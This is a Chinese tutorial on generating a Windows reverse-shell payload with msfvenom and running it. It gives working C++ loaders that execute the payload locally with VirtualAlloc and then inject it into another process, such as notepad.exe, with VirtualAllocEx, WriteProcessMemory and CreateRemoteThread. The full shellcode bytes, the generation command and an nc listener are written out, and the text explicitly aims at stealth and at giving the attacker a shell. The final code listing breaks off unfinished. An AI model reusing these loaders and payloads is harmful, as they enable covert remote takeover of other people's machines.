0x00 前言

shellcode是啥?

简单来说,shellcode就是⼀段可以获取权限的代码。这里我们先理解到这里,以后有机会我们再深入理解。

怎么生成shellcode?

可以在kali系统中用msfvenom生成shellcode

如果你没学过msfvenom,可以去 https://www.freebuf.com/sectool/72135.html 学习一下

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.174.3 LPORT=443 -f c -b \x00\x0a\x0d

生成的shellcode代码张什么样子?

shellcode其实本质上是一段汇编代码,因此,我们要查看shellcode代码张什么样子,其实是在想办法把shellcode转换成汇编。

其实将shellcode转换成汇编代码的方法挺多的,我比较喜欢将shellcode保存成exe,然后用Kali自带的ndisasm命令查看。

先用python脚本把shellcode保存成exe:

ps: 要用Python2

#!/usr/bin/env python
# -*- coding: utf-8 -*-

shellcode = "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"\
"\xff\xff\x48\xbb\xa2\xd8\x0e\xfe\xd3\xcd\x9c\xae\x48\x31\x58"\
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x5e\x90\x8d\x1a\x23\x25"\
"\x5c\xae\xa2\xd8\x4f\xaf\x92\x9d\xce\xff\xf4\x90\x3f\x2c\xb6"\
"\x85\x17\xfc\xc2\x90\x85\xac\xcb\x85\x17\xfc\x82\x90\x85\x8c"\
"\x83\x85\x93\x19\xe8\x92\x43\xcf\x1a\x85\xad\x6e\x0e\xe4\x6f"\
"\x82\xd1\xe1\xbc\xef\x63\x11\x03\xbf\xd2\x0c\x7e\x43\xf0\x99"\
"\x5f\xb6\x58\x9f\xbc\x25\xe0\xe4\x46\xff\x03\x46\x1c\x26\xa2"\
"\xd8\x0e\xb6\x56\x0d\xe8\xc9\xea\xd9\xde\xae\x58\x85\x84\xea"\
"\x29\x98\x2e\xb7\xd2\x1d\x7f\xf8\xea\x27\xc7\xbf\x58\xf9\x14"\
"\xe6\xa3\x0e\x43\xcf\x1a\x85\xad\x6e\x0e\x99\xcf\x37\xde\x8c"\
"\x9d\x6f\x9a\x38\x7b\x0f\x9f\xce\xd0\x8a\xaa\x9d\x37\x2f\xa6"\
"\x15\xc4\xea\x29\x98\x2a\xb7\xd2\x1d\xfa\xef\x29\xd4\x46\xba"\
"\x58\x8d\x80\xe7\xa3\x08\x4f\x75\xd7\x45\xd4\xaf\x72\x99\x56"\
"\xbf\x8b\x93\xc5\xf4\xe3\x80\x4f\xa7\x92\x97\xd4\x2d\x4e\xf8"\
"\x4f\xac\x2c\x2d\xc4\xef\xfb\x82\x46\x75\xc1\x24\xcb\x51\x5d"\
"\x27\x53\xb7\x6d\xba\xef\x9c\xfd\xeb\x3c\xfe\xd3\x8c\xca\xe7"\
"\x2b\x3e\x46\x7f\x3f\x6d\x9d\xae\xa2\x91\x87\x1b\x9a\x71\x9e"\
"\xae\xa3\x63\xce\x56\x7d\xce\xdd\xfa\xeb\x51\xea\xb2\x5a\x3c"\
"\xdd\x14\xee\xaf\x28\xf9\x2c\x18\xd0\x27\x48\xb0\x0f\xff\xd3"\
"\xcd\xc5\xef\x18\xf1\x8e\x95\xd3\x32\x49\xfe\xf2\x95\x3f\x37"\
"\x9e\xfc\x5c\xe6\x5d\x18\x46\x77\x11\x85\x63\x6e\xea\x51\xcf"\
"\xbf\x69\x27\x93\x71\x42\x27\xdb\xb6\x5a\x0a\xf6\xbe\xe3\x80"\
"\x42\x77\x31\x85\x15\x57\xe3\x62\x97\x5b\xa7\xac\x63\x7b\xea"\
"\x59\xca\xbe\xd1\xcd\x9c\xe7\x1a\xbb\x63\x9a\xd3\xcd\x9c\xae"\
"\xa2\x99\x5e\xbf\x83\x85\x15\x4c\xf5\x8f\x59\xb3\xe2\x0d\xf6"\
"\xa3\xfb\x99\x5e\x1c\x2f\xab\x5b\xea\x86\x8c\x0f\xff\x9b\x40"\
"\xd8\x8a\xba\x1e\x0e\x96\x9b\x44\x7a\xf8\xf2\x99\x5e\xbf\x83"\
"\x8c\xcc\xe7\x5d\x18\x4f\xae\x9a\x32\x54\xe3\x2b\x19\x42\x77"\
"\x12\x8c\x26\xd7\x6e\xe7\x88\x01\x06\x85\xad\x7c\xea\x27\xc4"\
"\x75\xdd\x8c\x26\xa6\x25\xc5\x6e\x01\x06\x76\x6c\x1b\x00\x8e"\
"\x4f\x44\x75\x58\x21\x33\x5d\x0d\x46\x7d\x17\xe5\xa0\xa8\xde"\
"\xd2\x8e\x05\x33\xb8\x99\x15\xe5\xcb\x7c\x91\xb9\xcd\xc5\xef"\
"\x2b\x02\xf1\x2b\xd3\xcd\x9c\xae"

with open("Shellcode.exe", 'wb') as fp:
    fp.write(shellcode)

写完之后,可以先用hexdump查看生成的 Shellcode.exe,看看写入是否正确

hexdump Shellcode.exe 

确认没什么问题之后再用ndisasm查看

ndisasm Shellcode.exe -p intel

怎么使用?

上面说到,shellcode本质上是一段代码,即然是代码,那么我们要怎么调用呢?能不能直接把shellcode强制类型转换成函数指针,然后直接调用它呢?于是我们有了以下的代码:

#define _CRT_SECURE_NO_DEPRECATE

#include "Windows.h"

int main()
{
    unsigned char buf[] =
        "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
        "\xff\xff\x48\xbb\xa2\xd8\x0e\xfe\xd3\xcd\x9c\xae\x48\x31\x58"
        "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x5e\x90\x8d\x1a\x23\x25"
        "\x5c\xae\xa2\xd8\x4f\xaf\x92\x9d\xce\xff\xf4\x90\x3f\x2c\xb6"
        "\x85\x17\xfc\xc2\x90\x85\xac\xcb\x85\x17\xfc\x82\x90\x85\x8c"
        "\x83\x85\x93\x19\xe8\x92\x43\xcf\x1a\x85\xad\x6e\x0e\xe4\x6f"
        "\x82\xd1\xe1\xbc\xef\x63\x11\x03\xbf\xd2\x0c\x7e\x43\xf0\x99"
        "\x5f\xb6\x58\x9f\xbc\x25\xe0\xe4\x46\xff\x03\x46\x1c\x26\xa2"
        "\xd8\x0e\xb6\x56\x0d\xe8\xc9\xea\xd9\xde\xae\x58\x85\x84\xea"
        "\x29\x98\x2e\xb7\xd2\x1d\x7f\xf8\xea\x27\xc7\xbf\x58\xf9\x14"
        "\xe6\xa3\x0e\x43\xcf\x1a\x85\xad\x6e\x0e\x99\xcf\x37\xde\x8c"
        "\x9d\x6f\x9a\x38\x7b\x0f\x9f\xce\xd0\x8a\xaa\x9d\x37\x2f\xa6"
        "\x15\xc4\xea\x29\x98\x2a\xb7\xd2\x1d\xfa\xef\x29\xd4\x46\xba"
        "\x58\x8d\x80\xe7\xa3\x08\x4f\x75\xd7\x45\xd4\xaf\x72\x99\x56"
        "\xbf\x8b\x93\xc5\xf4\xe3\x80\x4f\xa7\x92\x97\xd4\x2d\x4e\xf8"
        "\x4f\xac\x2c\x2d\xc4\xef\xfb\x82\x46\x75\xc1\x24\xcb\x51\x5d"
        "\x27\x53\xb7\x6d\xba\xef\x9c\xfd\xeb\x3c\xfe\xd3\x8c\xca\xe7"
        "\x2b\x3e\x46\x7f\x3f\x6d\x9d\xae\xa2\x91\x87\x1b\x9a\x71\x9e"
        "\xae\xa3\x63\xce\x56\x7d\xce\xdd\xfa\xeb\x51\xea\xb2\x5a\x3c"
        "\xdd\x14\xee\xaf\x28\xf9\x2c\x18\xd0\x27\x48\xb0\x0f\xff\xd3"
        "\xcd\xc5\xef\x18\xf1\x8e\x95\xd3\x32\x49\xfe\xf2\x95\x3f\x37"
        "\x9e\xfc\x5c\xe6\x5d\x18\x46\x77\x11\x85\x63\x6e\xea\x51\xcf"
        "\xbf\x69\x27\x93\x71\x42\x27\xdb\xb6\x5a\x0a\xf6\xbe\xe3\x80"
        "\x42\x77\x31\x85\x15\x57\xe3\x62\x97\x5b\xa7\xac\x63\x7b\xea"
        "\x59\xca\xbe\xd1\xcd\x9c\xe7\x1a\xbb\x63\x9a\xd3\xcd\x9c\xae"
        "\xa2\x99\x5e\xbf\x83\x85\x15\x4c\xf5\x8f\x59\xb3\xe2\x0d\xf6"
        "\xa3\xfb\x99\x5e\x1c\x2f\xab\x5b\xea\x86\x8c\x0f\xff\x9b\x40"
        "\xd8\x8a\xba\x1e\x0e\x96\x9b\x44\x7a\xf8\xf2\x99\x5e\xbf\x83"
        "\x8c\xcc\xe7\x5d\x18\x4f\xae\x9a\x32\x54\xe3\x2b\x19\x42\x77"
        "\x12\x8c\x26\xd7\x6e\xe7\x88\x01\x06\x85\xad\x7c\xea\x27\xc4"
        "\x75\xdd\x8c\x26\xa6\x25\xc5\x6e\x01\x06\x76\x6c\x1b\x00\x8e"
        "\x4f\x44\x75\x58\x21\x33\x5d\x0d\x46\x7d\x17\xe5\xa0\xa8\xde"
        "\xd2\x8e\x05\x33\xb8\x99\x15\xe5\xcb\x7c\x91\xb9\xcd\xc5\xef"
        "\x2b\x02\xf1\x2b\xd3\xcd\x9c\xae";


    // 首先要将buf转换成指针,所以要先用 void *
    ((void (*)())(void *)buf)();
    return 0;
}

直接运行一下,发现触发了异常,为什么呢?

这里就要复习一下PE区段的知识了,通常,一个 PE 文件中有 4 个区段:

https://blog.csdn.net/Simon798/article/details/96876910

  • .text:(代码段),可读、可执行
  • .data:(数据段),存放全局变量、全局常量等。可读、可写、不可执行。shellcode的位置就存在这里。
  • .idata:(数据段),导入函数的代码段,存放外部函数地址
  • .rdata:(数据段),资源数据段,程序用到什么资源数据都在这里

.data段权限

如果你想验证一下.data段有什么权限,可以去吾爱破解的爱盘上下载一个LordPE,然后随便找个exe,按照下图操作:

0x01 在本地进程中执行shellcode

即然直接不能用,我们只能在程序中向操作系统申请一块可读可写可执行的内存区域来执行shellcode了。这时候,就用到VirtualAlloc函数了。

VirtualAlloc

我们可以从微软官网找到该函数的api:https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc?redirectedfrom=MSDN ,也可以从百度百科中看中文翻译:https://baike.baidu.com/item/VirtualAlloc

LPVOID VirtualAlloc(
  LPVOID lpAddress,        // 要分配的内存区域的地址,如果值是NULL,则由系统决定
  SIZE_T dwSize,           // 分配的大小,以字节为单位,通常是shellcode的大小
  DWORD  flAllocationType, // 分配的类型,通常使用 MEM_COMMIT
  DWORD  flProtect         // 该内存的初始保护属性,通常使用 PAGE_EXECUTE_READWRITE ,表示可读可写可执行
);

分配完后,当然是使用memcpy将我们的shellcode拷贝过去,然后执行就行。

OK,上面已经将大概到算法讲完了,将上一节中生成的shellcode--buf数组放在C++代码中,然后用VirtualAlloc分配内存空间,再调用即可。

调用shellcode的C++代码如下:

#define _CRT_SECURE_NO_DEPRECATE

#include "Windows.h"

int main()
{
    unsigned char buf[] =
        "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
        "\xff\xff\x48\xbb\xa2\xd8\x0e\xfe\xd3\xcd\x9c\xae\x48\x31\x58"
        "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x5e\x90\x8d\x1a\x23\x25"
        "\x5c\xae\xa2\xd8\x4f\xaf\x92\x9d\xce\xff\xf4\x90\x3f\x2c\xb6"
        "\x85\x17\xfc\xc2\x90\x85\xac\xcb\x85\x17\xfc\x82\x90\x85\x8c"
        "\x83\x85\x93\x19\xe8\x92\x43\xcf\x1a\x85\xad\x6e\x0e\xe4\x6f"
        "\x82\xd1\xe1\xbc\xef\x63\x11\x03\xbf\xd2\x0c\x7e\x43\xf0\x99"
        "\x5f\xb6\x58\x9f\xbc\x25\xe0\xe4\x46\xff\x03\x46\x1c\x26\xa2"
        "\xd8\x0e\xb6\x56\x0d\xe8\xc9\xea\xd9\xde\xae\x58\x85\x84\xea"
        "\x29\x98\x2e\xb7\xd2\x1d\x7f\xf8\xea\x27\xc7\xbf\x58\xf9\x14"
        "\xe6\xa3\x0e\x43\xcf\x1a\x85\xad\x6e\x0e\x99\xcf\x37\xde\x8c"
        "\x9d\x6f\x9a\x38\x7b\x0f\x9f\xce\xd0\x8a\xaa\x9d\x37\x2f\xa6"
        "\x15\xc4\xea\x29\x98\x2a\xb7\xd2\x1d\xfa\xef\x29\xd4\x46\xba"
        "\x58\x8d\x80\xe7\xa3\x08\x4f\x75\xd7\x45\xd4\xaf\x72\x99\x56"
        "\xbf\x8b\x93\xc5\xf4\xe3\x80\x4f\xa7\x92\x97\xd4\x2d\x4e\xf8"
        "\x4f\xac\x2c\x2d\xc4\xef\xfb\x82\x46\x75\xc1\x24\xcb\x51\x5d"
        "\x27\x53\xb7\x6d\xba\xef\x9c\xfd\xeb\x3c\xfe\xd3\x8c\xca\xe7"
        "\x2b\x3e\x46\x7f\x3f\x6d\x9d\xae\xa2\x91\x87\x1b\x9a\x71\x9e"
        "\xae\xa3\x63\xce\x56\x7d\xce\xdd\xfa\xeb\x51\xea\xb2\x5a\x3c"
        "\xdd\x14\xee\xaf\x28\xf9\x2c\x18\xd0\x27\x48\xb0\x0f\xff\xd3"
        "\xcd\xc5\xef\x18\xf1\x8e\x95\xd3\x32\x49\xfe\xf2\x95\x3f\x37"
        "\x9e\xfc\x5c\xe6\x5d\x18\x46\x77\x11\x85\x63\x6e\xea\x51\xcf"
        "\xbf\x69\x27\x93\x71\x42\x27\xdb\xb6\x5a\x0a\xf6\xbe\xe3\x80"
        "\x42\x77\x31\x85\x15\x57\xe3\x62\x97\x5b\xa7\xac\x63\x7b\xea"
        "\x59\xca\xbe\xd1\xcd\x9c\xe7\x1a\xbb\x63\x9a\xd3\xcd\x9c\xae"
        "\xa2\x99\x5e\xbf\x83\x85\x15\x4c\xf5\x8f\x59\xb3\xe2\x0d\xf6"
        "\xa3\xfb\x99\x5e\x1c\x2f\xab\x5b\xea\x86\x8c\x0f\xff\x9b\x40"
        "\xd8\x8a\xba\x1e\x0e\x96\x9b\x44\x7a\xf8\xf2\x99\x5e\xbf\x83"
        "\x8c\xcc\xe7\x5d\x18\x4f\xae\x9a\x32\x54\xe3\x2b\x19\x42\x77"
        "\x12\x8c\x26\xd7\x6e\xe7\x88\x01\x06\x85\xad\x7c\xea\x27\xc4"
        "\x75\xdd\x8c\x26\xa6\x25\xc5\x6e\x01\x06\x76\x6c\x1b\x00\x8e"
        "\x4f\x44\x75\x58\x21\x33\x5d\x0d\x46\x7d\x17\xe5\xa0\xa8\xde"
        "\xd2\x8e\x05\x33\xb8\x99\x15\xe5\xcb\x7c\x91\xb9\xcd\xc5\xef"
        "\x2b\x02\xf1\x2b\xd3\xcd\x9c\xae";


    void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof buf);
    ((void(*)())exec)();

    return 0;
}

ps:如果无法理解((void(*)())exec)();,请参考上一篇文章。

这里因为受害机器是win10 64位,所以vs在编译到时候,我选了x64

编译完成后,就可以在 项目文件夹下->x64->Release找到生成的exe了

这时候回到kali中,使用nc开启监听,然后执行生成的exe

nc -lvvp 443

拿到shell了,说明shellcode执行成功了。

0x02 在远程进程中执行shellcode

shellcode作为一段与地址无关的代码,理论上只要把它放在任意程序中,然后给它一个起点就能执行,因此,为了隐秘性,我们可以考虑把shellcode放在已有程序中运行。

这时候我们就用到了VirtualAllocEx,它可以在指定进程去开辟内存。

VirtualAllocEx

同样,我们可以从微软官网找到该函数的api:https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex ,也可以从百度百科中看中文翻译:https://baike.baidu.com/item/VirtualAllocEx

LPVOID VirtualAllocEx(
  HANDLE hProcess,         // 申请内存所在的进程句柄
  LPVOID lpAddress,        // 保留页面的内存地址,一般用NULL自动分配
  SIZE_T dwSize,           // 欲分配的内存大小,字节为单位,通常是shellcode大小
  DWORD  flAllocationType, // 指定要分配的内存类型,常用 MEM_RESERVE | MEM_COMMIT
  DWORD  flProtect         // 指定分配的内存保护,由于它将包含要执行的代码,因此常用 PAGE_EXECUTE_READWRITE,可读可写可执行
);

根据VirtualAllocEx的参数,我们只有hProcess,即要注入进程的句柄,因此这里需要用到OpenProcess函数

OpenProcess

老规矩,微软官方api:https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess ,百度百科:https://baike.baidu.com/item/OpenProcess

HANDLE OpenProcess(
  DWORD dwDesiredAccess, // 渴望得到的访问权限(标志),那肯定是PROCESS_ALL_ACCESS,所有权限啊
  BOOL  bInheritHandle,  // 是否继承句柄,一般不
  DWORD dwProcessId      // 进程标识符,即受害者进程的PID
);

然后我们就需要将shellcode拷贝过去,这里就不能使用memcpy了,因为我们要写入某一进程的内存区域,直接写入会出 Access Violation 错误,故需要用到 WriteProcessMemory函数。

WriteProcessMemory

微软官方api:https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory ,百度百科: https://baike.baidu.com/item/WriteProcessMemory

BOOL WriteProcessMemory(
  HANDLE  hProcess,               // 要向其中写入数据的进程,即由OpenProcess返回的进程句柄
  LPVOID  lpBaseAddress,          // 要写入的数据的首地址,VirtualAllocEx的返回值
  LPCVOID lpBuffer,               // 指向要写的数据的指针,该指针必须是const指针,即shellcode
  SIZE_T  nSize,                  // 要写入的字节数,shellcode大小
  SIZE_T  *lpNumberOfBytesWritten // 接收传输到指定进程中的字节数,通常为NULL
);

shellcode写进去了还要调用才能执行,这里需要用到创建远程线程的函数:CreateRemoteThread

CreateRemoteThread

微软api:https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread,百度百科:https://baike.baidu.com/item/CreateRemoteThread

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,           // 线程所属进程的进程句柄,即OpenProcess返回的句柄
  LPSECURITY_ATTRIBUTES  lpThreadAttributes, // 线程的安全属性,通常为NULL
  SIZE_T                 dwStackSize,        // 线程栈初始大小,以字节为单位,通常为0,即代表使用系统默认大小.
  LPTHREAD_START_ROUTINE lpStartAddress,     // 在远程进程的地址空间中,该进程的线程函数的起始地址。VirtualAllocEx返回值,注意需要强制类型转换成 LPTHREAD_START_ROUTINE
  LPVOID                 lpParameter,        // 传给线程函数的参数的指针,这里为NULL,在DLL注入的时候有重要意义
  DWORD                  dwCreationFlags,    // 线程的创建标志,通常为0,即线程创建后立即运行
  LPDWORD                lpThreadId          // 指向所创建线程ID的指针,通常为NULL
);

代码

下面的代码会将shellcode注入到指定到PID进程中,注入后,该进程将会反弹shell给攻击者。

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"

int main(int argc, char* argv[])
{
    unsigned char buf[] =
        "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
        "\xff\xff\x48\xbb\xa2\xd8\x0e\xfe\xd3\xcd\x9c\xae\x48\x31\x58"
        "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x5e\x90\x8d\x1a\x23\x25"
        "\x5c\xae\xa2\xd8\x4f\xaf\x92\x9d\xce\xff\xf4\x90\x3f\x2c\xb6"
        "\x85\x17\xfc\xc2\x90\x85\xac\xcb\x85\x17\xfc\x82\x90\x85\x8c"
        "\x83\x85\x93\x19\xe8\x92\x43\xcf\x1a\x85\xad\x6e\x0e\xe4\x6f"
        "\x82\xd1\xe1\xbc\xef\x63\x11\x03\xbf\xd2\x0c\x7e\x43\xf0\x99"
        "\x5f\xb6\x58\x9f\xbc\x25\xe0\xe4\x46\xff\x03\x46\x1c\x26\xa2"
        "\xd8\x0e\xb6\x56\x0d\xe8\xc9\xea\xd9\xde\xae\x58\x85\x84\xea"
        "\x29\x98\x2e\xb7\xd2\x1d\x7f\xf8\xea\x27\xc7\xbf\x58\xf9\x14"
        "\xe6\xa3\x0e\x43\xcf\x1a\x85\xad\x6e\x0e\x99\xcf\x37\xde\x8c"
        "\x9d\x6f\x9a\x38\x7b\x0f\x9f\xce\xd0\x8a\xaa\x9d\x37\x2f\xa6"
        "\x15\xc4\xea\x29\x98\x2a\xb7\xd2\x1d\xfa\xef\x29\xd4\x46\xba"
        "\x58\x8d\x80\xe7\xa3\x08\x4f\x75\xd7\x45\xd4\xaf\x72\x99\x56"
        "\xbf\x8b\x93\xc5\xf4\xe3\x80\x4f\xa7\x92\x97\xd4\x2d\x4e\xf8"
        "\x4f\xac\x2c\x2d\xc4\xef\xfb\x82\x46\x75\xc1\x24\xcb\x51\x5d"
        "\x27\x53\xb7\x6d\xba\xef\x9c\xfd\xeb\x3c\xfe\xd3\x8c\xca\xe7"
        "\x2b\x3e\x46\x7f\x3f\x6d\x9d\xae\xa2\x91\x87\x1b\x9a\x71\x9e"
        "\xae\xa3\x63\xce\x56\x7d\xce\xdd\xfa\xeb\x51\xea\xb2\x5a\x3c"
        "\xdd\x14\xee\xaf\x28\xf9\x2c\x18\xd0\x27\x48\xb0\x0f\xff\xd3"
        "\xcd\xc5\xef\x18\xf1\x8e\x95\xd3\x32\x49\xfe\xf2\x95\x3f\x37"
        "\x9e\xfc\x5c\xe6\x5d\x18\x46\x77\x11\x85\x63\x6e\xea\x51\xcf"
        "\xbf\x69\x27\x93\x71\x42\x27\xdb\xb6\x5a\x0a\xf6\xbe\xe3\x80"
        "\x42\x77\x31\x85\x15\x57\xe3\x62\x97\x5b\xa7\xac\x63\x7b\xea"
        "\x59\xca\xbe\xd1\xcd\x9c\xe7\x1a\xbb\x63\x9a\xd3\xcd\x9c\xae"
        "\xa2\x99\x5e\xbf\x83\x85\x15\x4c\xf5\x8f\x59\xb3\xe2\x0d\xf6"
        "\xa3\xfb\x99\x5e\x1c\x2f\xab\x5b\xea\x86\x8c\x0f\xff\x9b\x40"
        "\xd8\x8a\xba\x1e\x0e\x96\x9b\x44\x7a\xf8\xf2\x99\x5e\xbf\x83"
        "\x8c\xcc\xe7\x5d\x18\x4f\xae\x9a\x32\x54\xe3\x2b\x19\x42\x77"
        "\x12\x8c\x26\xd7\x6e\xe7\x88\x01\x06\x85\xad\x7c\xea\x27\xc4"
        "\x75\xdd\x8c\x26\xa6\x25\xc5\x6e\x01\x06\x76\x6c\x1b\x00\x8e"
        "\x4f\x44\x75\x58\x21\x33\x5d\x0d\x46\x7d\x17\xe5\xa0\xa8\xde"
        "\xd2\x8e\x05\x33\xb8\x99\x15\xe5\xcb\x7c\x91\xb9\xcd\xc5\xef"
        "\x2b\x02\xf1\x2b\xd3\xcd\x9c\xae";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    printf("Injecting to PID: %i", atoi(argv[1]));
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof buf, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, buf, sizeof buf, NULL);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

先在受害机器上打开一个记事本,然后用任务管理器查看记事本到PID

kali开启监听

再生成解决方案,找到生成到exe

然后在命令提示符下运行

这时候kali已经收到shell了

0x03 最终代码

按照上面的代码,我们每次都要手动输入PID,实战性不大,因此我们还需要一段可以列出当前所有进程,匹配我们想要注入的进程名,然后获取该进程名对应的PID的代码。这里我们可以直接看微软官方给的demo:https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes ,然后简单修改测试一下

#define _CRT_SECURE_NO_DEPRECATE

#include <Windows.h>
#include <tlhelp32.h>
#include <tchar.h>


int main()
{
    HANDLE hProcessSnap;
    HANDLE hProcess;
    PROCESSENTRY32 pe32;
    DWORD pid = 0;

    // 获取系统中所有进程的快照
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    {
        CloseHandle(hProcessSnap);
        exit(-1);
    }
    // 使用之前要先设置大小
    pe32.dwSize = sizeof(PROCESSENTRY32);
    // 查看第一个进程
    BOOL bRet = Process32First(hProcessSnap, &pe32);
    if (!bRet) 
    {
        exit(-2);
    }
    while (bRet)
    {
        if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0) {
            pid = pe32.th32ProcessID;
            break;
        }
        bRet = Process32Next(hProcessSnap, &pe32);
    }
    // 获取进程句柄
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    _tprintf(TEXT("PROCESS NAME: %s"), pe32.szExeFile);
    _tprintf(TEXT("\nProcess ID: %d"), pe32.th32ProcessID);

    // 清理
    CloseHandle(hProcessSnap);
    return 0;
}

然后结合两部分代码,得出最终代码如下:

#define _CRT_SECURE_NO_DEPRECATE

#include <Windows.h>
#include <tlhelp32.h>
#include <tchar.h>


int main()
{
    unsigned char buf[] =
        "\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
        "\xff\xff\x48\xbb\xa2\xd8\x0e\xfe\xd3\xcd\x9c\xae\x48\x31\x58"
        "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x5e\x90\x8d\x1a\x23\x25"
        "\x5c\xae\xa2\xd8\x4f\xaf\x92\x9d\xce\xff\xf4\x90\x3f\x2c\xb6"
        "\x85\x17\xfc\xc2\x90\x85\xac\xcb\x85\x17\xfc\x82\x90\x85\x8c"
        "\x83\x85\x93\x19\xe8\x92\x43\xcf\x1a\x85\xad\x6e\x0e\xe4\x6f"
        "\x82\xd1\xe1\xbc\xef\x63\x11\x03\xbf\xd2\x0c\x7e\x43\xf0\x99"
        "\x5f\xb6\x58\x9f\xbc\x25\xe0\xe4\x46\xff\x03\x46\x1c\x26\xa2"
        "\xd8\x0e\xb6\x56\x0d\xe8\xc9\xea\xd9\xde\xae\x58\x85\x84\xea"
        "\x29\x98\x2e\xb7\xd2\x1d\x7f\xf8\xea\x27\xc7\xbf\x58\xf9\x14"
        "\xe6\xa3\x0e\x43\xcf\x1a\x85\xad\x6e\x0e\x99\xcf\x37\xde\x8c"
        "\x9d\x6f\x9a\x38\x7b\x0f\x9f\xce\xd0\x8a\xaa\x9d\x37\x2f\xa6"
        "\x15\xc4\xea\x29\x98\x2a\xb7\xd2\x1d\xfa\xef\x29\xd4\x46\xba"
        "\x58\x8d\x80\xe7\xa3\x08\x4f\x75\xd7\x45\xd4\xaf\x72\x99\x56"
        "\xbf\x8b\x93\xc5\xf4\xe3\x80\x4f\xa7\x92\x97\xd4\x2d\x4e\xf8"
        "\x4f\xac\x2c\x2d\xc4\xef\xfb\x82\x46\x75\xc1\x24\xcb\x51\x5d"
        "\x27\x53\xb7\x6d\xba\xef\x9c\xfd\xeb\x3c\xfe\xd3\x8c\xca\xe7"
        "\x2b\x3e\x46\x7f\x3f\x6d\x9d\xae\xa2\x91\x87\x1b\x9a\x71\x9e"
        "\xae\xa3\x63\xce\x56\x7d\xce\xdd\xfa\xeb\x51\xea\xb2\x5a\x3c"
        "\xdd\x14\xee\xaf\x28\xf9\x2c\x18\xd0\x27\x48\xb0\x0f\xff\xd3"
        "\xcd\xc5\xef\x18\xf1\x8e\x95\xd3\x32\x49\xfe\xf2\x95\x3f\x37"
        "\x9e\xfc\x5c\xe6\x5d\x18\x46\x77\x11\x85\x63\x6e\xea\x51\xcf"
        "\xbf\x69\x27\x93\x71\x42\x27\xdb\xb6\x5a\x0a\xf6\xbe\xe3\x80"
        "\x42\x77\x31\x85\x15\x57\xe3\x62\x97\x5b\xa7\xac\x63\x7b\xea"
        "\x59\xca\xbe\xd1\xcd\x9c\xe7\x1a\xbb\x63\x9a\xd3\xcd\x9c\xae"
        "\xa2\x99\x5e\xbf\x83\x85\x15\x4c\xf5\x8f\x59\xb3\xe2\x0d\xf6"
        "\xa3\xfb\x99\x5e\x1c\x2f\xab\x5b\xea\x86\x8c\x0f\xff\x9b\x40"
        "\xd8\x8a\xba\x1e\x0e\x96\x9b\x44\x7a\xf8\xf2\x99\x5e\xbf\x83"
        "\x8c\xcc\xe7\x5d\x18\x4f\xae\x9a\x32\x54\xe3\x2b\x19\x42\x77"
        "\x12\x8c\x26\xd7\x6e\xe7\x88\x01\x06\x85\xad\x7c\xea\x27\xc4"
        "\x75\xdd\x8c\x26\xa6\x25\xc5\x6e\x01\x06\x76\x6c\x1b\x00\x8e"
        "\x4f\x44\x75\x58\x21\x33\x5d\x0d\x46\x7d\x17\xe5\xa0\xa8\xde"
        "\xd2\x8e\x05\x33\xb8\x99\x15\xe5\xcb\x7c\x91\xb9\xcd\xc5\xef"
        "\x2b\x02\xf1\x2b\xd3\xcd\x9c\xae";

    HANDLE hProcessSnap;
    HANDLE hProcess;
    PROCESSENTRY32 pe32;
    DWORD pid = 0;
    HANDLE remoteThread;
    PVOID remoteBuffer;

    // 获取系统中所有进程的快照
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    {
        exit(-1);
    }
    // 使用之前要先设置大小
    pe32.dwSize = sizeof(PROCESSENTRY32);
    // 查看第一个进程
    BOOL bRet = Process32First(hProcessSnap, &pe32);
    if (!bRet)
    {
        exit(-2);
    }
    while (bRet)
    {
        if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0) {
            pid = pe32.th32ProcessID;
            break;
        }
        bRet = Process32Next(hProcessSnap, &pe32);
    }
    // 获取进程句柄
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    _tprintf(TEXT("PROCESS NAME: %s"), pe32.szExeFile);
    _tprintf(TEXT("\nProcess ID: %d"), pe32.th32ProcessID);

